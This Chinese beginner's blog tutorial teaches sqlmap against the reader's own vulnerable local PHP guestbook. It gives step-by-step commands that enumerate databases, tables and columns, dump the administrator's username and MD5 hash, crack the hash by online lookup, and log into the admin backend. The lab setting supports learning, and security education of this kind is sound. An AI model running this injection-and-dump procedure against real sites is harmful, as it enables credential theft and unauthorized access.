新手Web渗透教程 第二课:数据库注入工具 Sqlmap 初体验

我们在第二季第一篇文章里《新手Web渗透教程 第一课:数据库漏洞(SQL注入)环境搭建/测试》构造了一个mysql+php留言本的漏洞环境,

 

我们就以此环境为例来讲解最流行的SQL Injection(SQL注入),最好你不要只看文章,请动下手把第一课的配置环境搭建好。

 

一、数据库概念讲解

数据库有很多种。网上比较流行并且得到广泛应用的有Oracle、MySQL、PostgreSQL、微软SQL Server、微软Access 、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等数据库管理系统。

但是无论哪种数据库,基本都逃脱不了库、表、字段、字段值的概念。

举个形象的比喻,数据库就是一个大仓库,库里有很多房间,每个房间都贴个标签,表明里边里贮存什么的,每个房间就是表了 。每个房间里又存有很多麻袋,这些麻袋上也写有名字,注明是张三还是李四的麻袋,那么麻袋就是字段的意思了。打开张三的麻袋,里边装有苹果,苹果就是字段值。打开李四的麻袋,里边装有桃子,桃子也是字段值。我这里给小白画了个思维导图。

数据库思维导图

 

二、SQL Injection(SQL注入)要准备的工具

主要是针对windos环境来讲解,如果是linux环境,用SQL注入工具会更加的简单;无论什么样的环境?原理都是一样的,因此不必担心;

 

1、python27,因为sqlmap需要python27支持;

下载地址:https://www.python.org/downloads/release/python-2714/

 

2、数据库注入工具“sqlmap”;下载地址:http://sqlmap.org/

下载完解压所有文件到一个目录就行,好比解压到d:/sqlmap。该工具用python语言写的,支持跨平台运行,具有一百多个命令行参数。你会安装后,你就会了系统和python环境配置。如果你能掌握所有的参数后,我相信你已经对最流行的数据库注入攻击有了相当深的了解了。Sqlmap是注入神器,有了它你可以扔掉所有注入工具了,它也是个撩妹高手,因为它基本支持了市面上所有数据库,并且注入的姿势(Payload)花样繁多,让你眼花缭乱的。

 

3、如果你不想像我下文那样全路径调用sqlmap,请参考《黑客渗透入门教程 第二课:6行python代码写个端口扫描工具》这篇文章配置好python27的环境变量。

如果你还想再懒点,我还可以教你一个简单的方法。如果你一直跟着我的课程学习,有可能你机器既装有python2.7,又装有python3.0,想直接调用python2.7执行sqlmap。我在这里假设你的python27装在c:/python27,你的sqlmap解压在d:/sqlmap,你可以在命令行底下先执行一条命令就可以直接调用了,命令如下:

path=c:/python27;d:/sqlmap

然后直接运行sqlmap.py就能执行了。sqlmap.py

 

三、实例讲解Sqlmap最基本的用法

默认装好的python2.7如果没有给你直接配置好环境变量,也不要紧,我们直接调用全路径就可以了。我在这里假设你的python2.7装在c:/python2.7,你的sqlmap解压在d:/sqlmap。

 

1、检测漏洞:

运行:

c:/python27/python.exe d:/sqlmap/sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2

或是你像我上文一样,先执行了:

path=c:/python27;d:/sqlmap

那么直接执行下条命令就可以了。

sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2

 

以下所有的图片我都是全路径抓图的:sqlmap检测漏洞

 

-u参数是表示后边要跟着的网站链接(URL),如果后边的URL像是"1.php?id=2&name=3"里边有两个&符号的,在windows下请把URL用双引号引起来,如果在linux下倒是不用。回车后,如果出现询问Y/n的,你一直按下回车键就行了。按回车就表示Y,输入n表示不同意。sqlmap -u参数

 

不一会功夫就会出现漏洞检测结果了。

sqlmap漏洞检测结果

请注意上图中,出现了两种漏洞检测结果。一种是AND/OR time-based blind表示是通过时间来判断漏洞的,另一种是UNION query的。这两种后边都给你显示出了漏洞检测语句了。如果你对Sqlmap的漏洞检测语句有兴趣,请去学习mysql数据库知识,了解其原理。

 

2、用参数--dbs得到我们注入网站的所有库名;

运行:

c:/python27/python.exe d:/sqlmap/sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2 --dbs

sqlmap参数--dbs得到我们注入网站的所有库名

如果只想得到当前网站的当前库名,参数--dbs换成--current-db

我们得到了4个数据库,information、mysql、perionmance、test其实都是系统自带的库,并不是留言本带的库,我们建的这个留言本默认用的是test的库;

 

3、用参数-D test --tables得到test库里的所有表名;

运行:

c:/python27/python.exe d:/sqlmap/sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2 -D test --tables

sqlmap参数-D test --tables得到test库里的所有表名

我们得到了3个表名,有用的存有管理员信息的表在manage_user。

 

4、用参数-D test -T manger-users --columns得到 数据库test中manger-users表里所有列名;

运行:

c:/python27/python.exe d:/sqlmap/sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2 -D test -T manger-users --columns

sqlmap用参数-D test -T manger-users --columns得到 数据库test中manger-users表里所有列名

我们得到了user_name和user_pw的有效字段。

 

5、运行-D test -T manger-users -C user_name,user_pw --dump得到user-name和user_pw字段里的值;

运行:

c:/python27/python.exe d:/sqlmap/sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2 -D test -T manger-users -C user_name,user_pw --dump

sqlmap运行-D test -T manger-users -C user_name,user_pw --dump得到user-name和user_pw字段里的值

sqlmap自动破解md5密码

请注意上图中也有询问Y/n的,大体意思都是询问我们是否要调用sqlmap自动破解md5密码的。我们并不需要,直接输入n。我们把得到的加密密码去“www.cmd5.com"查询就可以了,得到的结果密码是"123456"。

 

请注意我在注入过程中-D、-T、-C这三个库、表、字段的参数都是用大写的,查询结果不用。要查询某个结果,参数前都用--的,像--tables。

 

这就是最简单的最顺利的sqlmap的用法了。我们通过注入最终得到了留言本管理员的用户名和密码,我们直接打开“http://localhost/book/admin”就输入用户名和密码就进入后台了。当然有的网站的后台会改名,我们需要一些后台扫描工具来找到网站的后台,这留在我们以后的零基础Web渗透教程里。

头像
  • ¥ 98.0元
  • 市场价:298.0元
  • ¥ 68.0元
  • 市场价:128.0元
  • ¥ 89.0元
  • 市场价:129.0元
  • ¥ 98.0元
  • 市场价:198.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:4   其中:访客  0   博主  0

  1. 头像 武汉传媒学院丛亚芬 1

    除了SQLmap,还有其它什么的……新手什么注入工具好?

  2. 头像 白海 2

    用工具不能叫黑客,只能叫骇客!

  3. 头像 慈悲 1

    好腻害!